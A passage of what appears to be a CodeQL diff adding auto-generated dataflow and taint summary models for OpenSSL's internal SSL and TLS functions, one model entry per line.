*,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[5]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[5]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[5]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[6]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[6]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[6]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_choose_cipher", "(SSL_CONNECTION *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER *)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ssl3_choose_cipher", "(SSL_CONNECTION *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ssl3_choose_cipher", "(SSL_CONNECTION *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ssl3_choose_cipher", "(SSL_CONNECTION *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ssl3_choose_cipher", "(SSL_CONNECTION *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER *)", "", "Argument[*2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ssl3_choose_cipher", "(SSL_CONNECTION *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER *)", "", "Argument[*2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ssl3_comp_find", "(stack_st_SSL_COMP *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ssl3_comp_find", "(stack_st_SSL_COMP *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ssl3_ctrl", "(SSL *,int,long,void *)", "", "Argument[**3]", "Argument[*0].Field[***msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ssl3_ctrl", "(SSL *,int,long,void *)", "", "Argument[**3]", "Argument[*0].Field[*ext].Field[***debug_arg]", "value", "dfc-generated"] + - ["", "", True, "ssl3_ctrl", "(SSL *,int,long,void *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "ssl3_ctrl", "(SSL *,int,long,void *)", "", "Argument[3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "ssl3_ctx_callback_ctrl", "(SSL_CTX *,int,..(*)(..))", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ssl3_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[**3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ssl3_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "ssl3_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ssl3_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ssl3_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ssl3_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "ssl3_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ssl3_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ssl3_ctx_ctrl", "(SSL_CTX *,int,long,void *)", "", "Argument[3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "ssl3_digest_master_key_set_params", "(const SSL_SESSION *,OSSL_PARAM[])", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ssl3_generate_master_secret", "(SSL_CONNECTION *,unsigned char *,unsigned char *,size_t,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_get_cipher", "(unsigned int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ssl3_get_cipher", "(unsigned int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_get_req_cert_type", "(SSL_CONNECTION *,WPACKET *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ssl3_output_cert_chain", "(SSL_CONNECTION *,WPACKET *,CERT_PKEY *,int)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ssl3_read_bytes", "(SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_read_bytes", "(SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *)", "", "Argument[4]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_read_bytes", "(SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *)", "", "Argument[4]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_send_alert", "(SSL_CONNECTION *,int,int)", "", "Argument[1]", "Argument[*0].Field[*s3].Field[*send_alert]", "value", "dfc-generated"] + - ["", "", True, "ssl3_send_alert", "(SSL_CONNECTION *,int,int)", "", "Argument[2]", "Argument[*0].Field[*s3].Field[*send_alert]", "value", "dfc-generated"] + - ["", "", True, "ssl3_write_bytes", "(SSL *,uint8_t,const void *,size_t,size_t *)", "", "Argument[*2]", "Argument[*0].Field[*rlayer].Field[**wpend_buf]", "value", "dfc-generated"] + - ["", "", True, "ssl3_write_bytes", "(SSL *,uint8_t,const void *,size_t,size_t *)", "", "Argument[1]", "Argument[*0].Field[*rlayer].Field[*wpend_type]", "value", "dfc-generated"] + - ["", "", True, "ssl3_write_bytes", "(SSL *,uint8_t,const void *,size_t,size_t *)", "", "Argument[2]", "Argument[*0].Field[*rlayer].Field[*wpend_buf]", "value", "dfc-generated"] + - ["", "", True, "ssl_cache_cipherlist", "(SSL_CONNECTION *,PACKET *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ssl_cert_add0_chain_cert", "(SSL_CONNECTION *,SSL_CTX *,X509 *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ssl_cert_add1_chain_cert", "(SSL_CONNECTION *,SSL_CTX *,X509 *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ssl_cert_add1_chain_cert", "(SSL_CONNECTION *,SSL_CTX *,X509 *)", "", "Argument[2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ssl_cert_dup", "(CERT *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ssl_cert_get_cert_store", "(CERT *,X509_STORE **,int)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "ssl_cert_get_cert_store", "(CERT *,X509_STORE **,int)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ssl_cert_lookup_by_idx", "(size_t,SSL_CTX *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ssl_cert_lookup_by_idx", "(size_t,SSL_CTX *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ssl_cert_lookup_by_pkey", "(const EVP_PKEY *,size_t *,SSL_CTX *)", "", "Argument[*2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ssl_cert_lookup_by_pkey", "(const EVP_PKEY *,size_t *,SSL_CTX *)", "", "Argument[*2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ssl_cert_new", "(size_t)", "", "Argument[0]", "ReturnValue[*].Field[*ssl_pkey_num]", "value", "dfc-generated"] + - ["", "", True, "ssl_cert_select_current", "(CERT *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ssl_cert_set1_chain", "(SSL_CONNECTION *,SSL_CTX *,stack_st_X509 *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ssl_cert_set_cert_cb", "(CERT *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***cert_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ssl_cert_set_cert_cb", "(CERT *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**cert_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ssl_cert_set_cert_cb", "(CERT *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*cert_cb]", "value", "dfc-generated"] + - ["", "", True, "ssl_cert_set_cert_cb", "(CERT *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*cert_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ssl_check_srvr_ecc_cert_and_alg", "(X509 *,SSL_CONNECTION *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ssl_choose_client_version", "(SSL_CONNECTION *,int,RAW_EXTENSION *)", "", "Argument[1]", "Argument[*0].Field[*version]", "value", "dfc-generated"] + - ["", "", True, "ssl_choose_server_version", "(SSL_CONNECTION *,CLIENTHELLO_MSG *,DOWNGRADE *)", "", "Argument[*1].Field[*legacy_version]", "Argument[*0].Field[*client_version]", "value", "dfc-generated"] + - ["", "", True, "ssl_cipher_get_evp", "(SSL_CTX *,const SSL_SESSION *,const EVP_CIPHER **,const EVP_MD **,int *,size_t *,SSL_COMP **,int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ssl_cipher_get_evp", "(SSL_CTX *,const SSL_SESSION *,const EVP_CIPHER **,const EVP_MD **,int *,size_t *,SSL_COMP **,int)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ssl_cipher_get_evp", "(SSL_CTX *,const SSL_SESSION *,const EVP_CIPHER **,const EVP_MD **,int *,size_t *,SSL_COMP **,int)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ssl_cipher_get_evp_cipher", "(SSL_CTX *,const SSL_CIPHER *,const EVP_CIPHER **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ssl_cipher_get_evp_md_mac", "(SSL_CTX *,const SSL_CIPHER *,const EVP_MD **,int *,size_t *)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "ssl_cipher_get_evp_md_mac", "(SSL_CTX *,const SSL_CIPHER *,const EVP_MD **,int *,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ssl_cipher_get_evp_md_mac", "(SSL_CTX *,const SSL_CIPHER *,const EVP_MD **,int *,size_t *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ssl_cipher_get_evp_md_mac", "(SSL_CTX *,const SSL_CIPHER *,const EVP_MD **,int *,size_t *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ssl_cipher_ptr_id_cmp", "(const SSL_CIPHER *const *,const SSL_CIPHER *const *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ssl_cipher_ptr_id_cmp", "(const SSL_CIPHER *const *,const SSL_CIPHER *const *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ssl_create_cipher_list", "(SSL_CTX *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **,const char *,CERT *)", "", "Argument[*4]", "Argument[*5].Field[*sec_level]", "taint", "dfc-generated"] + - ["", "", True, "ssl_create_cipher_list", "(SSL_CTX *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **,const char *,CERT *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ssl_create_cipher_list", "(SSL_CTX *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **,const char *,CERT *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ssl_create_cipher_list", "(SSL_CTX *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **,const char *,CERT *)", "", "Argument[4]", "Argument[*5].Field[*sec_level]", "taint", "dfc-generated"] + - ["", "", True, "ssl_ctx_set_excert", "(SSL_CTX *,SSL_EXCERT *)", "", "Argument[*1]", "Argument[*0].Field[**cert].Field[**cert_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ssl_ctx_set_excert", "(SSL_CTX *,SSL_EXCERT *)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*cert_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "ssl_dh_to_pkey", "(DH *)", "", "Argument[0]", "ReturnValue[*].Field[*pkey].Union[*legacy_pkey_st]", "value", "dfc-generated"] + - ["", "", True, "ssl_fill_hello_random", "(SSL_CONNECTION *,int,unsigned char *,size_t,DOWNGRADE)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ssl_fill_hello_random", "(SSL_CONNECTION *,int,unsigned char *,size_t,DOWNGRADE)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ssl_generate_pkey", "(SSL_CONNECTION *,EVP_PKEY *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ssl_get_ciphers_by_id", "(SSL_CONNECTION *)", "", "Argument[*0].Field[**cipher_list_by_id]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ssl_get_ciphers_by_id", "(SSL_CONNECTION *)", "", "Argument[*0].Field[*cipher_list_by_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ssl_get_max_send_fragment", "(const SSL_CONNECTION *)", "", "Argument[*0].Field[*max_send_fragment]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ssl_get_min_max_version", "(const SSL_CONNECTION *,int *,int *,int *)", "", "Argument[*0].Field[*version]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ssl_get_min_max_version", "(const SSL_CONNECTION *,int *,int *,int *)", "", "Argument[*0].Field[*version]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ssl_get_min_max_version", "(const SSL_CONNECTION *,int *,int *,int *)", "", "Argument[*2]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ssl_get_min_max_version", "(const SSL_CONNECTION *,int *,int *,int *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ssl_get_min_max_version", "(const SSL_CONNECTION *,int *,int *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ssl_get_prev_session", "(SSL_CONNECTION *,CLIENTHELLO_MSG *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ssl_get_security_level_bits", "(const SSL *,const SSL_CTX *,int *)", "", "Argument[*0].Field[**cert].Field[*sec_level]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ssl_get_security_level_bits", "(const SSL *,const SSL_CTX *,int *)", "", "Argument[*0].Field[**cert].Field[*sec_level]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ssl_get_security_level_bits", "(const SSL *,const SSL_CTX *,int *)", "", "Argument[*1].Field[**cert].Field[*sec_level]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ssl_get_security_level_bits", "(const SSL *,const SSL_CTX *,int *)", "", "Argument[*1].Field[**cert].Field[*sec_level]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ssl_get_split_send_fragment", "(const SSL_CONNECTION *)", "", "Argument[*0].Field[*max_send_fragment]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ssl_get_split_send_fragment", "(const SSL_CONNECTION *)", "", "Argument[*0].Field[*split_send_fragment]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ssl_hmac_get0_EVP_MAC_CTX", "(SSL_HMAC *)", "", "Argument[*0].Field[**ctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ssl_hmac_get0_EVP_MAC_CTX", "(SSL_HMAC *)", "", "Argument[*0].Field[*ctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ssl_hmac_get0_HMAC_CTX", "(SSL_HMAC *)", "", "Argument[*0].Field[**old_ctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ssl_hmac_get0_HMAC_CTX", "(SSL_HMAC *)", "", "Argument[*0].Field[*old_ctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ssl_hmac_init", "(SSL_HMAC *,void *,size_t,char *)", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "ssl_hmac_init", "(SSL_HMAC *,void *,size_t,char *)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ssl_hmac_init", "(SSL_HMAC *,void *,size_t,char *)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ssl_hmac_old_init", "(SSL_HMAC *,void *,size_t,char *)", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "ssl_hmac_old_init", "(SSL_HMAC *,void *,size_t,char *)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ssl_hmac_old_init", "(SSL_HMAC *,void *,size_t,char *)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ssl_load_groups", "(SSL_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ssl_md", "(SSL_CTX *,int)", "", "Argument[*0].Field[**ssl_digest_methods]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ssl_md", "(SSL_CTX *,int)", "", "Argument[*0].Field[*ssl_digest_methods]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ssl_md", "(SSL_CTX *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ssl_read_internal", "(SSL *,void *,size_t,size_t *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ssl_release_record", "(SSL_CONNECTION *,TLS_RECORD *,size_t)", "", "Argument[2]", "Argument[*1].Field[*length]", "taint", "dfc-generated"] + - ["", "", True, "ssl_release_record", "(SSL_CONNECTION *,TLS_RECORD *,size_t)", "", "Argument[2]", "Argument[*1].Field[*off]", "taint", "dfc-generated"] + - ["", "", True, "ssl_security_cert", "(SSL_CONNECTION *,SSL_CTX *,X509 *,int,int)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ssl_security_cert_chain", "(SSL_CONNECTION *,stack_st_X509 *,X509 *,int)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ssl_security_cert_chain", "(SSL_CONNECTION *,stack_st_X509 *,X509 *,int)", "", "Argument[*1]", "Argument[2]", "taint", "df-generated"] + - ["", "", True, "ssl_security_cert_chain", "(SSL_CONNECTION *,stack_st_X509 *,X509 *,int)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ssl_session_calculate_timeout", "(SSL_SESSION *)", "", "Argument[*0].Field[*time].Field[*t]", "Argument[*0].Field[*calc_timeout].Field[*t]", "taint", "dfc-generated"] + - ["", "", True, "ssl_session_calculate_timeout", "(SSL_SESSION *)", "", "Argument[*0].Field[*timeout].Field[*t]", "Argument[*0].Field[*calc_timeout].Field[*t]", "taint", "dfc-generated"] + - ["", "", True, "ssl_session_dup", "(const SSL_SESSION *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ssl_session_dup", "(const SSL_SESSION *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ssl_set_client_hello_version", "(SSL_CONNECTION *)", "", "Argument[*0].Field[*version]", "Argument[*0].Field[*client_version]", "value", "dfc-generated"] + - ["", "", True, "ssl_set_sig_mask", "(uint32_t *,SSL_CONNECTION *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ssl_set_tmp_ecdh_groups", "(uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,void *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ssl_set_tmp_ecdh_groups", "(uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,void *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ssl_set_tmp_ecdh_groups", "(uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,void *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ssl_set_version_bound", "(int,int,int *)", "", "Argument[1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ssl_write_internal", "(SSL *,const void *,size_t,uint64_t,size_t *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ssl_write_internal", "(SSL *,const void *,size_t,uint64_t,size_t *)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ssl_write_internal", "(SSL *,const void *,size_t,uint64_t,size_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "tls12_get_psigalgs", "(SSL_CONNECTION *,int,const uint16_t **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "tls12_get_psigalgs", "(SSL_CONNECTION *,int,const uint16_t **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "tls12_get_psigalgs", "(SSL_CONNECTION *,int,const uint16_t **)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "tls13_alert_code", "(int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "tls1_allocate_write_buffers", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *)", "", "Argument[*3]", "Argument[*0].Field[*numwpipes]", "taint", "dfc-generated"] + - ["", "", True, "tls1_allocate_write_buffers", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *)", "", "Argument[2]", "Argument[*0].Field[*numwpipes]", "taint", "dfc-generated"] + - ["", "", True, "tls1_allocate_write_buffers", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *)", "", "Argument[3]", "Argument[*0].Field[*numwpipes]", "taint", "dfc-generated"] + - ["", "", True, "tls1_allocate_write_buffers", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[*0]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[*2]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[0]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[0]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[2]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[6]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[6]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[6]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "tls1_check_chain", "(SSL_CONNECTION *,X509 *,EVP_PKEY *,stack_st_X509 *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "tls1_check_chain", "(SSL_CONNECTION *,X509 *,EVP_PKEY *,stack_st_X509 *,int)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "tls1_check_ec_tmp_key", "(SSL_CONNECTION *,unsigned long)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "tls1_get0_implemented_groups", "(int,int,TLS_GROUP_INFO *,size_t,long,stack_st_OPENSSL_CSTRING *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "tls1_get_formatlist", "(SSL_CONNECTION *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "tls1_get_formatlist", "(SSL_CONNECTION *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls1_get_formatlist", "(SSL_CONNECTION *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "tls1_get_group_tuples", "(SSL_CONNECTION *,const size_t **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "tls1_get_group_tuples", "(SSL_CONNECTION *,const size_t **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls1_get_group_tuples", "(SSL_CONNECTION *,const size_t **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "tls1_get_requested_keyshare_groups", "(SSL_CONNECTION *,const uint16_t **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "tls1_get_requested_keyshare_groups", "(SSL_CONNECTION *,const uint16_t **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls1_get_requested_keyshare_groups", "(SSL_CONNECTION *,const uint16_t **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "tls1_get_supported_groups", "(SSL_CONNECTION *,const uint16_t **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "tls1_get_supported_groups", "(SSL_CONNECTION *,const 